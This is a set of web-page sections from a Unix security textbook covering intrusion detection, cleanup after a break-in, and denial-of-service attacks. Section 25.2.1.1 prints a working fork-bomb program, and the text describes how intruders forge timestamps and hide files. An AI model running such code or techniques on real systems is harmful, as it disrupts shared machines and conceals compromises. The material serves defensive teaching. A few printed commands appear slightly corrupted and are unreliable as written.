The programmer was now pretty sure that somebody had broken into the computer. And the attack seemed sophisticated, because system commands appeared to have been altered to hide evidence of the break-in. Not wanting to let the break-in proceed further, the operator wanted to shut down the computer. But he was afraid that the attacker might have booby-trapped the /etc/halt command to destroy traces of the break-in. So before the programmer shut down the system, he used the tar command to make a copy of the directory /var/.e, as well as the directories /bin and /etc. As soon as the tar file was made, he copied it to another computer and halted the system.

The following morning, the programmer made the following observations from the tar file:

  • Somebody had broken into the system.

  • The program /bin/login had been modified so that anybody on the Internet could log into the root account by trying a special password.

  • The /var/.e/vs program that had been left running was a password sniffing program. It listened on the company's local area network for users typing their passwords; these passwords were then sent to another computer elsewhere on the Internet.

  • The program /bin/ls and /bin/ps had been modified so that they would not display the directory /var/.e.

  • The inode creation dates and the modification times on the files /bin/ls, /bin/ps and /bin/login had been reset to their original dates before the modifications took place. The checksums for the modified commands (as computed with the sum command) matched those of the original, unmodified versions. But a comparison of the programs with a backup made the previous month revealed that the programs had been changed.

It was 10:00 p.m. at night when the break-in was discovered. Nevertheless, the consultant telephoned the system manager at home. When he did, he discovered something else:

  • The computer's system manager had known about the break-in for three days, but had not done anything about it. The reason: she feared that the intruder had created numerous holes in their system's security, and was afraid that if she angered the intruder, that person might take revenge by deleting important files or shutting down the system.

In retrospect, this was rather stupid behavior. Allowing the intruder to stay on the system let him collect more passwords from users of the system. The delay also allowed for plenty of time to make yet further modifications to the system. If it was compromised before, it was certainly compromised now!

Leaving the intruder alone also left the company in a precarious legal position. If the intruder used the system to break in anywhere else, the company might be held partially liable in a lawsuit because they left the intruder with free run of the compromised system.

So, what should the system manager have done when she first discovered the break-in? Basically, the same thing as what the outside consultant did: take a snapshot of the system to tape or another disk, isolate the system, and then investigate. If the staff was worried about some significant files being damaged, they should have done a complete backup right away to preserve whatever they could. If the system had been booby-trapped and a power failure occurred, they would have lost everything as surely as if they had shut down the system themselves.

The case above is typical of many break-ins that have occurred in 1994 and 1995. The attackers have access to one of many "toolkits" used to break into systems, install password sniffers, and alter system programs to hide their presence. Many of the users of these toolkits are quite ignorant of how they work. Some are even unfamiliar with UNIX: we have heard many stories of monitored systems compromised with these sophisticated toolkits, only to result in the intruders attempting to use DOS commands to look at files!

Previous: 24.1 Prelude | Practical UNIX & Internet Security | Next: 24.3 The Log Files: Discovering an Intruder's Tracks
24.1 Prelude | Book Index | 24.3 The Log Files: Discovering an Intruder's Tracks


[Chapter 24] 24.3 The Log Files: Discovering an Intruder's Tracks

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.2 Discovering an Intruder Chapter 24
Discovering a Break-in 		Next: 24.4 Cleaning Up After the Intruder

24.3 The Log Files: Discovering an Intruder's Tracks

Even if you don't catch an intruder in the act, you still have a good chance of finding the intruder's tracks by routinely looking through the system logs. (For a detailed description of the UNIX log files, see Chapter 10, Auditing and Logging.) Remember: look for things out of the ordinary; for example:

  • Users logging in at strange hours

  • Unexplained reboots

  • Unexplained changes to the system clock

  • Unusual error messages from the mailer, ftp daemon, or other network server

  • Failed login attempts with bad passwords

  • Unauthorized or suspicious use of the su command

  • Users logging in from unfamiliar sites on the network

On the other hand, if the intruder is sufficiently skillful and achieves superuser access on your machine, he or she may erase all evidence of the invasion. Simply because your system has no record of an intrusion in the log files, you can't assume that your system hasn't been attacked.

Many intruders operate with little finesse: instead of carefully editing out a record of their attacks, they simply delete or corrupt the entire log file. This means that if you discover a log file deleted or containing corrupted information, there is a possibility that the computer has been successfully broken into. However, a break-in is not the only possible conclusion. Missing or corrupted logs might mean that one of your system administrators was careless; there might even be an automatic program in your system that erases the log files at periodic intervals.

You may also discover that your system has been attacked if you notice unauthorized changes in system programs or in an individual user's files. This is another good reason for using something like the Tripwire tool to monitor your files for changes (see Chapter 9).

If your system logs to a hardcopy terminal or another computer, you may wish to examine that log first, because you know that it can't have been surreptitiously modified by an attacker coming in by the telephone or network.

Previous: 24.2 Discovering an Intruder | Practical UNIX & Internet Security | Next: 24.4 Cleaning Up After the Intruder
24.2 Discovering an Intruder | Book Index | 24.4 Cleaning Up After the Intruder


[Chapter 24] 24.4 Cleaning Up After the Intruder

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.3 The Log Files: Discovering an Intruder's Tracks Chapter 24
Discovering a Break-in 		Next: 24.5 An Example

24.4 Cleaning Up After the Intruder

If your intruder gained superuser access, or access to another privileged account such as uucp, he may have modified your system to make it easier for him to break in again in the future. In particular, your intruder may have:

  • Created a new account

  • Changed the password on an existing account

  • Changed the protections on certain files or devices

  • Created SUID or SGID programs

  • Replaced or modified system programs

  • Installed a special alias in the mail system to run a program

  • Added new features to your news or UUCP system

  • Installed a password sniffer

  • Stolen the password file for later cracking

If the intruder committed either of the last two misdeeds, he'll now have access to a legitimate account and will be able to get back in no matter what other precautions are taken. You'll have to change all of the passwords on the system.

After a successful break-in, you must perform a careful audit to determine the extent of the damage. Depending on the nature of the break-in, you'll have to examine your entire system. You may need to also examine other systems on your local net, or possibly the entire network (including routers and other network devices).

Note that COPS and Tiger are helpful recovery tools, as are many commercial security toolkits, especially because they provide an automatic check of the suggestions we make in this chapter. Remember, though, that they too could be compromised, so fetch a new copy and work from there. COPS and Tiger assume the integrity of system executables, such as ls and find. We think they are best used in conjunction with an integrity checker such as Tripwire. (See Appendix E, Electronic Resources for how to obtain all of these packages.)

The remainder of this chapter discusses in detail how to find out what an intruder may have done and how you should clean up afterwards.

24.4.1 New Accounts

After a break-in, scan the /etc/passwd file for newly created accounts. If you have made a backup copy of /etc/passwd, use diff to compare the two files. But don't let the automated check be a substitute for going through the /etc/passwd file by hand, because the intruder might have also modified your copy of the file or the diff program. (This is the reason it is advantageous to keep a second copy of the /etc/passwd file and all of your comparison tools on removable media like a floppy disk.)

Delete any accounts that have been created by an intruder. You may wish to make a paper record of an account, before deleting it in case you wish to prosecute the intruder (assuming that you ever find the villain).

Also, be sure to check that every line of the /etc/passwd file is in the proper format, and that no UID or password fields have been changed to unauthorized values. Remember, simply adding an extra colon to the /etc/passwd entry for root can do the same amount of damage as removing the superuser's password entirely!

The following awk command will print /etc/passwd entries that do not have seven fields, that specify the superuser, or that do not have a password:

# cat-passwd | awk -F: 'NF != 7 || $3 == 0 || $2 == "" { print $1 " " $2 " " $3}'
root xq7Xm0Tv 0
johnson f3V6Wv/u 0
sidney 104
#

This awk command sets the field separator to the colon (:), which matches the format of the /etc/passwd file. The awk command then prints out the first three fields (username, password, and UID) of any line in the /etc/passwd file that does not have seven fields, has a UID of 0, or has no password.

In this example, the user johnson has had her UID changed to 0, making her account an alias for the superuser, and the user sidney has had his password removed.

This automated check is much more reliable than a visual inspection, but make sure that the script that you use to run this automated check hasn't been corrupted by an attacker. One approach is to type the awk command each time you use it instead of embedding it in a shell script.[3]

[3] Or use Tripwire.

24.4.1.1 Changes in file contents

An intruder who gains superuser privileges can change any file on your system. Although you should make a thorough inventory of your computer's entire filesystem, you should look specifically for any changes to the system that affect security. For example, an intruder may have inserted trap doors or logic bombs to do damage at a later point in time.

One way to easily locate changes to system programs is to use the checklists described in Chapter 5, The UNIX Filesystem.

24.4.1.2 Changes in file and directory protections

After a break-in, review the protection of every critical file on your system. Intruders who gain superuser privileges may change the protections of critical files to make it easier for them to regain superuser access in the future. For example, an intruder might have changed the mode of the /bin directory to 777 to make it easier to modify system software in the future, or altered the protections on /dev/kmem so as to be able to modify system calls directly using a symbolic debugger.

24.4.1.3 New SUID and SGID files

Computer crackers who gain superuser access frequently create SUID and SGID files. After a break-in, scan your system to make sure that new SUID files have not been created. See the section Section 5.5, "SUID" for information about how to do this.

24.4.1.4 Changes in .rhosts files

An intruder may have created new .rhosts files in your users' home directories, or may have modified existing .rhosts files. (The .rhosts file allows other users on the network to log into your account without providing a password. For more information, see Chapter 16.) After a break-in, tell your users to check their .rhosts files to make sure that none of these files have been modified.

Chapter 16 also contains a shell script that you can use to get a list of every .rhosts file on the system. After a break-in, you may wish to delete every .rhosts file rather than take the chance that a file modified by the attacker won't be caught by the account's rightful owner. After all, the .rhosts file is simply a convenience, and your legitimate users can recreate their .rhosts files as necessary.[4]

[4] At some sites, this may be a drastic measure, and might make some of your users very angry, so think it over carefully before taking this step. Alternatively, you could rename each .rhosts file to rhosts.old so that the file will not be used, and so that your users do not need to retype the entire file's contents.

24.4.1.5 Changes to the /etc/hosts.equiv file

An intruder may have added more machines to your /etc/hosts.equiv file, so be sure to check for changes to this file. Also, check your /etc/netgroups and /etc/exports files (or equivalent) if you are running NIS or NFS.

24.4.1.6 Changes to startup files

An intruder may have modified the contents of dot (.) files in your users' home directories. Instruct all of your users to check these files and report anything suspicious. You can force your users to check the files by renaming them to names like login.old, cshrc.old, and profile.old. Be sure to check the versions of those files belonging to the root user, and also check the /etc/profile file.

If you are using sendmail, the attacker may have created or modified the .forward files so that they run programs when mail is received. This aspect is especially critical on nonuser accounts such as ftp and uucp.

If you know the precise time that the intruder was logged in, you can list all of the dot files in users' home directories, sort the list by time of day, and then check them for changes. A simple shell script to use is shown below:

#!/bin/ksh
# Search for .files in home directories
for user in $(cat-passwd | /bin/awk -F: "length($6) > 0 {print $6}")
do
    for name in $user/.*
    do
       [[ $name == $user/.. ]] && continue
       [[ -f $name ]] && print "$name"
    done
done | xargs ls -ltd

However, using timestamps may not detect all modifications, as discussed at the end of this chapter. The -c and -l options to the ls command should be used to also check for modifications to permission settings, and to determine if the mtime was altered to hide a modification.

Another approach is to sweep the entire filesystem with thefind command and observe what files and directories were accessed around the time of the intrusion. This may give you some clues as to what was done. For instance, if your compiler, loader, and libraries all show access times within a few seconds of each other, you can conclude that the intruder compiled something.

If you decide to take this approach, we suggest that you first remount all your filesystems as read-only so that your examinations don't alter the saved filesystem dates and times.

24.4.1.7 Hidden files and directories

The intruder may have created a "hidden directory" on your computer, and be using it as a repository for stolen information or for programs that break security.

On older UNIX systems, one common trick for creating a hidden directory was to unlink (as root) the ".." directory in a subdirectory and then create a new one. The contents of such a hidden directory are overlooked by programs such as find that search the filesystem for special files. Modern versions of UNIX, however, detect such hidden directories as inconsistencies when you run the /etc/fsck program. For this reason, be sure to run fsck on each filesystem as part of your routine security monitoring.

On some HP-UX systems, intruders have stored their tools and files in a CDF (Context Dependent File) directory. On these systems, be sure to use the -H option to find and ls when you are looking for files that are out of place.

Nowadays, intruders often hide their files in directories with names that are a little difficult to discover or enter on the command line. This way, a novice system administrator who discovers the hidden directory will be unlikely to figure out how to access its contents. Filenames that are difficult to discover or enter include ".." (dot dot space), control characters, backspaces, or other special characters.

You can often discover hidden directories easily because they cause results that differ from those of normal directories. For example:

prose% ls -l
drwxr-xr-x 1 orpheus 1024 Jul 17 11:55 foobar
prose% cd foobar
foobar: No such file or directory
prose%

In this case, the real name of the directory is foobar, with a space following the letter r. The easy way of entering filenames like this one is to use the shell's wildcard capability: The wildcard *ob* will match the directory foobar, no matter how many spaces or other characters it has in it, as long the letters o and b are adjacent.

prose% ls -l
drwxr-xr-x 1 orpheus 1024 Jul 17 11:55 foobar
prose% cd *ob* prose%

If you suspect that a filename has embedded control characters, you can use the cat -v command to determine what they are. For example:

% ls -l
total 1
-rw-r--r-- 1 john 21 Mar 10 23:38 bogus?file
% echo * | cat -v
bogus^Yfile
%

In this example, the file bogus?file actually has a CTRL-Y character between the letters "bogus" and the letters "file". Some versions of the ls command print control characters as question marks (?). To see what the control character actually was, however, you must send the raw filename to the cat command, which is accomplished with the shell echo.

If you are using the 93 version of the Korn shell, you can also list all the files in the local directory in a readable manner. This approach works even when your ls command has been replaced with an altered version:

$ printf $'entry: %'' .* *
entry: .
entry: ..
entry: $'..\n'
entry: $'bogus\031file'
entry: temp0001 entry: temp0002 $

24.4.1.8 Unowned files

Sometimes attackers leave files in the filesystem that are not owned by any user or group - that is, the files have a UID or GID that does not correspond to any entries in the /etc/passwd and /etc/group files. This can happen if the attacker created an account and some files, and then deleted the account - leaving the files. Alternatively, the attacker might have been modifying the raw inodes on a disk and changed a UID by accident.

You can search for these files with the find command, as shown in the following example:

# find / -nouser -o -nogroup -print

Remember, if you are using NFS, you should instead run the following find command on each server:

# find / \( -local -o -prune \) -nouser -o -nogroup -print

You might also notice unowned files on your system if you delete a user from the /etc/passwd file but leave a few of that user's files on the system. It is a good idea to scan for unowned files on a regular basis, copy them to tape (in case they're ever needed), and then delete them from your system.

Previous: 24.3 The Log Files: Discovering an Intruder's Tracks | Practical UNIX & Internet Security | Next: 24.5 An Example
24.3 The Log Files: Discovering an Intruder's Tracks | Book Index | 24.5 An Example


[Chapter 24] 24.5 An Example

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.4 Cleaning Up After the Intruder Chapter 24
Discovering a Break-in 		Next: 24.6 Resuming Operation

24.5 An Example

Suppose you're a system administrator and John Q. Random is there with you in your office. Suddenly, an alert window pops up on your display, triggered by a Swatch rule monitoring the syslog output. The syslog message has indicated that John Q. Random has logged in and has used the su command to become root.

The user must be an intruder - an intruder who has become root!

Fortunately, in one of the windows on your terminal you have a superuser shell. You decide that the best course of action is to bring your system to an immediate halt. To do so, you execute the commands:

# sync
# /etc/init 0

Alternatively, you can send a TERM signal to the init process:

# sync
# kill -TERM 1

This method is not the recommended procedure on System V systems, but is required on BSD systems.

Your decision to halt the system was based on the fact that you had no idea who this intruder was or what he was doing, and the fact that the intruder had become the superuser. After the intruder is the superuser, you don't know what parts of the operating system he is modifying, if any.

For example, the intruder may be replacing system programs and destroying log files. You decide that the best thing you can do is to shut the system down and go to a protected terminal where you know that no other intruder is going to be interfering with the system while you figure out what's going on.

The next step is to get a printed copy of all of the necessary logs that you may have available (e.g., console logs and printed copies of network logs), and to examine these logs to try to get an idea of what the unauthorized intruder has done. You will also want to see if anything unusual has happened on the system since the intruder logged in. These logs may give you a hint as to what programs the intruder was running and what actions the intruder took. Be sure to initial and timestamp these printouts.

Do not confine your examination to today's logs. If the intruder is now logged in as root, he may have also been on the system under another account name earlier. If your logs go back for a few days, examine the older versions as well. If they are on your backup tapes, consider retrieving them from the tapes.

If the break-in is something that you wish to pursue further - possibly with law enforcement - be sure to do a complete backup of the system to tape. This way, you'll have evidence in the form of the corrupted system. Also, save copies of the logs. Keep a written log of everything you've done and are about to do, and be sure to write the time of day along with each notation.

The next step is to determine how the intruder got in and then to make sure the intruder can't get in again. Examine the entire system. Check the permissions and the modes on all your files. Scan for new SUID or SGID files. Look for additions in /etc/passwd. If you have constructed checklists of your program directories, rerun them to look for any changes.

Remember: the intruder may not be an outsider! The majority of major incidents occur from inside the organization, either from someone with current access or someone who recently had legitimate access. When you perform your evaluation, don't forget to consider the case that the behavior you saw coming from a user account was not someone breaking a password and coming in from outside, but was someone on the inside who broke the password, or perhaps it was the real account owner herself!

Only after performing all these steps, and checking all this information, should you bring the system back up.

24.5.1 Never Trust Anything Except Hardcopy

If your system is compromised, don't trust anything that is online. If you discover changes in files on your system that seem suspicious, don't believe anything that your system tells you, because a good system cracker can change anything on the computer. This may seem extreme, but it is probably better to spend a little extra time restoring files and playing detective now than it would be to replay the entire incident when the intruder gets in again.

Remember, an attacker who becomes the superuser on your computer can do anything to it, change any byte on the hard disk. The attacker can compile and install new versions of any system program - so there might be changes, but your standard utilities might not tell you about them. The attacker can patch the kernel that the computer is running, possibly disabling security features that you have previously enabled. The attacker can even open the raw disk devices for reading and writing. Essentially, attackers who becomes the superuser can warp your system to their liking - if they have sufficient skill, motivation, and time. Often, they don't need (or have) great skill. Instead, they have access to toolkits put together by others with more skill.

For example, suppose you discover a change in a file and do an ls -l or an ls -lt. The modification time you see printed for the file may not be the actual modification time of the file. There are at least four ways for an attacker to modify the time that is displayed by this command, all of which have been used in actual system attacks:

  • The attacker could write a program that changes the modification time of the file using the utimes() system call.

  • The attacker could have altered the system clock by using the date command. The attacker could then modify your files and, finally, reset the date back again. This technique has the advantage for the attacker that the inode access and creation times also get set.

  • The attacker could write to the raw disk, changing saved values of any stored time.

  • The attacker could have modified the ls command to show a predetermined modification time whenever this file is examined.

The only limit to the powers of an attacker who has gained superuser status is that the attacker cannot change something that has been printed on a line printer or a hardcopy terminal. For this reason, if you have a logging facility that logs whenever the date is changed, you might consider having the log made to a hardcopy terminal or to another computer. Then, be sure to examine this log on a regular basis.

It is also the case that we recommend that you have a bootable copy of your operating system on a removable disk pack so, when needed, you can boot from a known good copy of the system and do your examination of the system with uncorrupted tools. Coupled with a database of message digests of unmodified files such as that produced by a tool such as Tripwire, you should be able to find anything that was modified on your system.

Previous: 24.4 Cleaning Up After the Intruder | Practical UNIX & Internet Security | Next: 24.6 Resuming Operation
24.4 Cleaning Up After the Intruder | Book Index | 24.6 Resuming Operation


[Chapter 24] 24.6 Resuming Operation

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.5 An Example Chapter 24
Discovering a Break-in 		Next: 24.7 Damage Control

24.6 Resuming Operation

The next step in handling a break-in is to restore the system to a working state. How quickly you must be back in operation, and what you intend to do about the break-in in the long term, will determine when and how you do this step.

In general you have a few options about how to proceed from this point:

  • Investigate until you have determined how the break-in happened, and when. Close up the holes and restore the system to the state it was prior to the break-in.

  • Simply patch and repair whatever you think may have been related to the break-in. Then restore the system to operation with heightened monitoring.

  • Do a quick scan and cleanup, and put the system back into operation.

  • Call in law enforcement before you do anything else so they can start an investigation.

  • Do nothing whatsoever.

You want to get whatever assurance you can that you have restored anything damaged on the system, and fixed whatever it was that allowed the intruder in. Then, if you have been keeping good backups, you can restore the system to a working state.

The difficulty with determining what failed and allowed an intruder in is complicated by the fact that there is usually little data in the logs to show what happened, and there are few things you can execute to reverse-engineer the break-in. Most break-ins seem to result from either a compromised user password (suspect this especially if you find that the intruders have installed a sniffer on your system), or a bug. If it is a bug, you may have difficulty determining what it is, especially if it is a new one that has not been widely exploited. If you suspect that it is a bug in some system software, you can try contacting your vendor to see if you can get some assistance there. In some cases it helps if you have a maintenance contract or are a major customer.

Another avenue you can explore is to contact the FIRST team appropriate for your site. Teams in FIRST often have some insight into current break-ins, largely because they see so many reports of them. Contacting a representative from one of the teams may result in some good advice for things to check before you put your system back into operation. However, many teams have rules of operation that prevent them from giving too much explicit information about active vulnerabilities until the appropriate vendors have announced a fix. Thus, you may not be able to get complete information from this source.

As a possible last resort, you might consult recent postings to the Usenet security groups, and to some of the current WWW sites and mailing lists. Often, current vulnerabilities are discussed in some detail in these locations. This is a mixed blessing, because not only does this provide you with some valuable information to protect (or restore) your site, but it also often provides details to hacker wannabes who are looking for ways to break into systems. It is also the case that we have seen incorrect and even dangerous advice and analysis given in some of these forums. Therefore, be very wary of what you read, and consider these sources as a last resort.

Previous: 24.5 An Example | Practical UNIX & Internet Security | Next: 24.7 Damage Control
24.5 An Example | Book Index | 24.7 Damage Control


[Chapter 24] 24.7 Damage Control

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.6 Resuming Operation Chapter 24
Discovering a Break-in 		Next: 25. Denial of Service Attacks and Solutions

24.7 Damage Control

If you've already restored the system, what damage is there to control? Well, the aftermath, primarily. You need to follow through on any untoward consequences of the break-in. For instance, was proprietary information copied? If so, you need to notify your legal counsel and consider what to do.

You should determine which of the following concerns need to be addressed:

  • Do you need to file a formal report with law enforcement?

  • Do you need to file a formal report with a regulatory agency?

  • Do you need to file an insurance claim for downtime, use of hot spares, etc?

  • Do you need to institute disciplinary or dismissal actions against one or more employees?

  • Do you need to file a report/request with your vendor?

  • Do you need to update your disaster recovery plan to account for changes or experiences in this instance?

  • Do you need to investigate and fix the software or configuration of any other systems under your control, or at any affiliated sites? That is, has this incident exposed a vulnerability elsewhere in your organization?

  • Do you need to update employee training to forestall any future incidents of this type?

  • Do you need to have your public relations office issue a formal report (inside or outside) about this incident?

The answers to the above questions will vary from situation to situation and incident to incident. We'll cover a few of them in more detail in succeeding chapters.

Previous: 24.6 Resuming Operation | Practical UNIX & Internet Security | Next: 25. Denial of Service Attacks and Solutions
24.6 Resuming Operation | Book Index | 25. Denial of Service Attacks and Solutions


[Chapter 25] Denial of Service Attacks and Solutions

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.7 Damage Control Chapter 25 Next: 25.2 Overload Attacks

25. Denial of Service Attacks and Solutions

Contents:
Destructive Attacks
Overload Attacks
Network Denial of Service Attacks

In cases where denial of service attacks did occur, it was either by accident or relatively easy to figure out who was responsible. The individual could be disciplined outside the operating system by other means.

- Dennis Ritchie

A denial of service attack is an attack in which one user takes up so much of a shared resource that none of the resource is left for other users. Denial of service attacks compromise the availability of the resources. Those resources can be processes, disk space, percentage of CPU, printer paper, modems, or the time of a harried system administrator. The result is degradation or loss of service.

UNIX provides few types of protection against accidental or intentional denial of service attacks. Most versions of UNIX allow you to limit the maximum number of files or processes that a user is allowed. Some versions also let you place limits on the amount of disk space consumed by any single UID (account). But compared with other operating systems, UNIX is downright primitive in its mechanisms for preventing denial of service attacks.

This is a short chapter because, as Ritchie noted, it is usually easy to determine who is responsible for a denial of service attack and to take appropriate actions.

There are two types of denial of service attacks. The first type of attack attempts to damage or destroy resources so you can't use them. Examples range from causing a disk crash that halts your system to deleting critical commands like cc and ls.

The second type of attack overloads some system service or exhausts some resource (either deliberately by an attacker, or accidentally as the result of a user's mistake), thus preventing others from using that service. This simplest type of overload involves filling up a disk partition so users and system programs can't create new files. The "bacteria" discussed in Chapter 11, Protecting Against Programmed Threats, perform this kind of attack.

Many denial of service problems in this second category result from user error or runaway programs rather than explicit attacks. For example, one common cause is typographical errors in programs, or reversed conditions, such as using the statement x==0 when you really meant to type x!=0.

25.1 Destructive Attacks

There are a number of ways to destroy or damage information in a fashion that denies service. Almost all of the attacks we know about can be prevented by restricting access to critical accounts and files, and protecting them from unauthorized users. If you follow good security practice to protect the integrity of your system, you will also prevent destructive denial of service attacks. Table 25.1 lists some potential attacks and how to prevent them.

Table 25.1: Potential Attacks and Their Prevention
Attack | Prevention
Reformatting a disk partition or running the newfs/mkfs command. | Prevent anyone from accessing the machine in single-user mode. Protect the superuser account. Physically write-protect disks that are used read-only.
Deleting critical files (e.g., needed files that are in /dev or the /etc/passwd file) | Protect system files and accounts by specifying appropriate modes (e.g., 755 or 711). Protect the superuser account. Set ownership of NFS-mounted files to user root and export read-only.
Shutting off power to the computer | Put the computer in a physically secure location. Put a lock on circuit-breaker boxes, or place them in locked rooms. (However, be sure to check the National Electric Code Section 100 regarding the accessibility of emergency shutoffs. Remember that a computer that is experiencing an electrical fire is not very secure.)
Cutting network or terminal cables | Run cables and wires through conduits to their destinations. Restrict access to rooms where the wires are exposed

Previous: 24.7 Damage Control | Practical UNIX & Internet Security | Next: 25.2 Overload Attacks
24.7 Damage Control | Book Index | 25.2 Overload Attacks


[Chapter 25] 25.2 Overload Attacks

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 25.1 Destructive Attacks Chapter 25
Denial of Service Attacks and Solutions 		Next: 25.3 Network Denial of Service Attacks

25.2 Overload Attacks

In an overload attack, a shared resource or service is overloaded with requests to such a point that it's unable to satisfy requests from other users. For example, if one user spawns enough processes, other users won't be able to run processes of their own. If one user fills up the disks, other users won't be able to create new files. You can partially protect against overload attacks by partitioning your computer's resources, and limiting each user to one partition. Alternatively, you can establish quotas to limit each user. Finally, you can set up systems for automatically detecting overloads and restarting your computer.

25.2.1 Process-Overload Problems

One of the simplest denial of service attacks is a process attack. In a process attack, one user makes a computer unusable for others who happen to be using the computer at the same time. Process attacks are generally of concern only with shared computers: the fact that a user incapacitates his or her own workstation is of no interest if nobody else is using the machine.

25.2.1.1 Too many processes

The following program will paralyze or crash many older versions of UNIX:

main()
{
while (1)
fork();
}

When this program is run, the process executes the fork() instruction, creating a second process identical to the first. Both processes then execute the fork() instruction, creating four processes. The growth continues until the system can no longer support any new processes. This is a total attack, because all of the child processes are waiting for new processes to be established. Even if you were somehow able to kill one process, another would come along to take its place.

This attack will not disable most current versions of UNIX, because of limits on the number of processes that can be run under any UID (except for root). This limit, called MAXUPROC, is usually configured into the kernel when the system is built. Some UNIX systems allow this value to be set at boot time; for instance, Solaris allows you to put the following in your /etc/system file:

set maxuproc=100

A user employing this attack will use up his quota of processes, but no more. As superuser, you will then be able to use the ps command to determine the process numbers of the offending processes and use the kill command to kill them. You cannot kill the processes one by one, because the remaining processes will simply create more. A better approach is to use the kill command to first stop each process, then kill them all at once:

# kill -STOP 1009 1110 1921
# kill -STOP 3219 3220
.
.
.
# kill -KILL 1009 1110 1921 3219 3220...

Because the stopped processes still come out of the user's NPROC quota, the forking program will be able to spawn no more. You can then deal with the author.

Alternatively, you can kill all the processes in a process group at the same time; in many cases of a user spawning too many processes, the processes will all be in the same process group. To discover the process group, run the ps command with the -j option. Identify the process group, and then kill all processes with one fell swoop:

# kill -9 -1009

Note that many older, AT&T-derived systems do not support either process groups or the enhanced version of the kill command, but it is present in SVR4. This enhanced version of kill interprets the second argument as indicating a process group if it is preceded by a "-", and the absolute value of the argument is used as the process group; the indicated signal is sent to every process in the group.

Under modern versions of UNIX, the root user can still halt the system with a process attack because there is no limit to the number of processes that the superuser can spawn. However, the superuser can also shut down the machine or perform almost any other act, so this is not a major concern - except when root is running a program that is buggy (or booby-trapped). In these cases, it's possible to encounter a situation in which the machine is overwhelmed to the point where no one else can get a free process even to do a login.

There is also a possibility that your system may reach the total number of allowable processes because so many users are logged on, even though none of them has reached her individual limit.

One other possibility is that your system has been configured incorrectly. Your per-user process limit may be equal to or greater than the limit for all processes on the system. In this case, a single user can swamp the machine.

If you are ever presented with an error message from the shell that says "No more processes," then either you've created too many child processes or there are simply too many processes running on the system; the system won't allow you to create any more processes.

For example:

% ps -efj
No more processes %

If you run out of processes, wait a moment and try again. The situation may have been temporary. If the process problem does not correct itself, you have an interesting situation on your hands.

Having too many processes that are running can be very difficult to correct without rebooting the computer; there are two reasons why:

  • You cannot run the ps command to determine the process numbers of the processes to kill.

  • If you are not currently the superuser, you cannot use the su or login command, because both of these functions require the creation of a new process.

One way around the second problem is to use the shell's exec[1] built-in command to run the su command without creating a new process:

[1] The shell's exec function causes a program to be run (with the exec() system call) without a fork() system call being executed first; the user-visible result is that the shell runs the program and then exits.

% exec /bin/su
password: foobar
#

Be careful, however, that you do not mistype your password or exec the ps program: the program will execute, but you will then be automatically logged out of your computer!

If you have a problem with too many processes saturating the system, you may be forced to reboot the system. The simplest way might seem to be to power-cycle the machine. However, this may damage blocks on disk, because it will probably not flush active buffers to disk - few systems are designed to undergo an orderly shutdown when powered off suddenly. It's better to use the kill command to kill the errant processes or to bring the system to single-user mode. (See Appendix C, UNIX Processes for information about kill, ps, UNIX processes, and signals.)

On most modern versions of UNIX, the superuser can send a SIGTERM signal to all processes except system processes and your own process by typing:

# kill -TERM -1
#

If your UNIX system does not have this feature, you can execute the command:

# kill -TERM 1
#

to send a SIGTERM to the init process. UNIX automatically kills all processes and goes to single-user mode when init dies. You can then execute the sync command from the console and reboot the operating system.

If you get the error "No more processes" when you attempt to execute the kill command, exec a version of the ksh or csh - they have the kill command built into them and therefore don't need to spawn an extra process to run the command.

25.2.1.2 System overload attacks

Another common process-based denial of service occurs when a user spawns many processes that consume large amounts of CPU. As most UNIX systems use a form of simple round-robin scheduling, these overloads reduce the total amount of CPU processing time available for all other users. For example, someone who dispatches ten find commands with grep components throughout your Usenet directories, or spawns a dozen large troff jobs can slow the system to a crawl.[2]

[2] We resist using the phrase commonly found on the net of "bringing the system to its knees." UNIX systems have many interesting features, but knees are not among them. How the systems manage to crawl, then, is left as an exercise to the reader.

The best way to deal with these problems is to educate your users about how to share the system fairly. Encourage them to use the nice command to reduce the priority of their background tasks, and to do them a few at a time. They can also use the at or batch command to defer execution of lengthy tasks to a time when the system is less crowded. You'll need to be more forceful with users who intentionally or repeatedly abuse the system.

If your system is exceptionally loaded, log in as root and set your own priority as high as you can right away with the renice command, if it is available on your system:[3]

[3] In this case, your login may require a lot of time; renice is described in more detail in Appendix C.

# renice -19 $$$
#

Then, use the ps command to see what's running, followed by the kill command to remove the processes monopolizing the system, or the renice command to slow down these processes.

25.2.2 Disk Attacks

Another way of overwhelming a system is to fill a disk partition. If one user fills up the disk, other users won't be able to create files or do other useful work.

25.2.2.1 Disk-full attacks

A disk can store only a certain amount of information. If your disk is full, you must delete some information before more can be stored.

Sometimes disks fill up suddenly when an application program or a user erroneously creates too many files (or a few files that are too large). Other times, disks fill up because many users are slowly increasing their disk usage.

The du command lets you find the directories on your system that contain the most data. du searches recursively through a tree of directories and lists how many blocks are used by each one. For example, to check the entire /usr partition, you could type:

# du /usr
29		/usr/dict/papers
3875		/usr/dict
8		/usr/pub
4032		/usr ...
#

By finding the larger directories, you can decide where to focus your cleanup efforts.

You can also search for and list only the names of the larger files by using the find command. You can also use the find command with the -size option to list only the files larger than a certain size. Additionally, you can use the options called -xdev or -local to avoid searching NFS-mounted directories (although you will want to run find on each NFS server.) This method is about as fast as doing a du and can be even more useful when trying to find a few large files that are taking up space. For example:

# find /usr -size +1000 -exec ls -l {} \;
-rw-r--r-- 1 root 1819832 Jan  9 10:45 /usr/lib/libtext.a
-rw-r--r-- 1 root 2486813 Aug 10  1985 /usr/dict/web2
-rw-r--r-- 1 root 1012730 Aug 10  1985 /usr/dict/web2a
-rwxr-xr-x 1 root  589824 Oct 22 21:27 /usr/bin/emacs
-rw-r--r-- 1 root 7323231 Oct 31  1990 /usr/tex/TeXdist.tar.Z
-rw-rw-rw- 1 root  772092 Mar 10 22:12 /var/spool/mqueue/syslog
-rw-r--r-- 1 uucp 1084519 Mar 10 22:12 /var/spool/uucp/LOGFILE
-r--r--r-- 1 root  703420 Nov 21 15:49 /usr/tftpboot/mach
...
#

